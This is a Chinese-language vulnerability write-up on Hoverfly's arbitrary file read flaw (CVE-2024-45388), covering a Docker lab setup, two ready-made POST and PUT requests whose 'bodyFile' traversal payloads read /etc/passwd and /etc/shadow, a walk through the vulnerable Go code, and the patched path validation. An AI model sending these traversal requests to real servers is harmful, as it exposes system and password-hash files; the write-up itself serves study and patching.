首页 > 其他分享 >Hoverfly 任意文件读取漏洞(CVE-2024-45388)

Hoverfly 任意文件读取漏洞(CVE-2024-45388)

时间:2024-10-12 23:32:20浏览次数:1  
标签:Hoverfly .. hoverfly simulation 2024 v2 api go CVE

漏洞简介

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径,从而访问任何任意文件。

环境搭建

我们还是利用 docker 来搭建环境

https://hub.docker.com/r/spectolabs/hoverfly/tags

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   

漏洞复现

构造数据包

POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes

定义了 SimulationHandler​ 的路由注册方法,路由的每个 HTTP 方法(如 GET​、PUT​、POST​、DELETE​ 等)都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理实际的业务逻辑。

  • GET /api/v2/simulation: 处理获取模拟数据。

  • PUT /api/v2/simulation: 处理更新模拟数据。

  • POST /api/v2/simulation: 处理创建新的模拟数据。

  • DELETE /api/v2/simulation: 处理删除模拟数据。

  • OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。

  • GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。

  • OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。

POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation

第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。

hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation

hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile

这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../​ 实现跨越目录的读取文件

我们看到最新版已经对传入的参数进行了处理

hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile

hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath

这个 ResolveAndValidatePath​ 函数用于从一个绝对路径(absBasePath​)解析一个相对路径(relativePath​),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".."​),并且解析后的路径仍然在基路径之下。

更多网安技能的在线实操练习,请点击这里>>

  

标签:Hoverfly,..,hoverfly,simulation,2024,v2,api,go,CVE
From: https://www.cnblogs.com/hetianlab/p/18461705

相关文章

  • 2024.10.12
    根据你提供的MyBatis配置文件,确实有一个小问题需要注意:驼峰命名配置你已将mapUnderscoreToCamelCase设置为注释(<!--<settingname="mapUnderscoreToCamelCase"value="true"/>-->),这意味着驼峰命名转换功能被禁用了。为了启用它,你需要取消注释并确保该设置的值为true。修......
  • 《csp-j2024初赛真题》 解析
    温馨提醒,以下解析为个人观点,还是得请大佬多多指教(可以喷,但不能说我是复制粘贴!)这篇文章的背景故事:我的那些朋友去给另一个朋友过生日聚会,现在刚刚走回来。那你们知道我为啥不去吗给你们看张珍贵无比的图片: 当然,不止这两张。至于原因,我要回来赶(肝)(干)解析(哭脸)1.32位int......
  • 2024-2025-1 20241307《计算机基础与程序设计》第三周学习总结
    作业信息这个作业属于哪个课程(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里(2024-2025-1计算机基础与程序设计第三周作业)这个作业的目标作业正文(2024-2025-1学号20241307《计算机基础与程序设计》第三周学习总结)教材学习内容总结《计算机科学......
  • 【论文速看】DL最新进展20241011-3D雷达、目标检测、大核CNN
    目录【3D雷达】【目标检测】【CNN】【3D雷达】[ECCV2024]BetterCallSAL:TowardsLearningtoSegmentAnythinginLidar论文链接:https://arxiv.org/pdf/2403.13129代码链接:https://github.com/nv-dvl/segment-anything-lidar文中提出了SAL(Lidar中的任意......
  • 20241012 mysql查漏补缺
    2024/10/12mysql查漏补缺1.联合索引什么时候会失效[联合索引]遵循最左前缀法则NO1​ 如果索引了多列(联合索引),要遵守最左前缀法则。最左前缀法则指的是查询从索引的最左列开始,并且不跳过索引中的列。如果跳跃某一列,索引将会部分失效​ 对于最左前缀法则指的是,查询时,最左边......
  • 2024-2025-1 20241413 《计算机基础与程序设计》第三周学习总结
    作业信息这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK03这个作业的目标数字分类与计数法位置计数法进制转换模拟数据与数字数据压缩与解压数字化信息......
  • 【试了下Canvas效果杠杠的】OpenAI在2024年10月3号最新发布的gpt-4o with canvas模型
    2024年10月3日,OpenAI推出了名为“GPT-4owithCanvas”的新功能,该功能旨在提高写作和编程任务的协作体验。Canvas提供了一种与传统聊天不同的交互方式,它允许用户在一个单独的窗口中与ChatGPT进行深度合作,进行详细的内嵌反馈、针对性的编辑以及内容重写。在编程方面,Canvas......
  • 第106天:权限提升-WIN 系统&AD域控&NetLogon&ADCS&PAC&KDC&CVE 漏洞
    知识点1、WIN-域内用户到AD域控-CVE-2014-63242、WIN-域内用户到AD域控-CVE-2020-14723、WIN-域内用户到AD域控-CVE-2021-422874、WIN-域内用户到AD域控-CVE-2022-26923WIN-域控提权-CVE-2014-6324前提条件:1、需要域环境下一台主机普通用户账号密码2、一台主机的管理员权......
  • 2024-2025-1《计算机基础与程序设计》第3周学习总结20241420姚金济
    <班级链接>https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/join?id=CfDJ8AOXHS93SCdEnLt5HW8VuxQ23KfVCDd17M92RURIJwdTBPMF7locrEwU_PbdKakofz0zTbJuc7KceG9Y6oQCShgfHFT19twYLe61kME6CedB920aZMY90TR1BJoIekMfCQXD2yhv5D-jTBrh3BU7q18<作业要求链接>https://www......
  • 第105天:权限提升-Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE
    演示案例Linux-Rsync未授权访问覆盖-本地Linux-Docker组用户挂载目录-本地Linux-Sudo(CVE-2021-3156)-本地Linux-Polkit(CVE-2021-4034)-本地Rsync(未授权访问)Rsync是linux下一款数据备份工具,默认开启873端口https://vulhub.org/#/environments/rsync/common/借助Linux默认......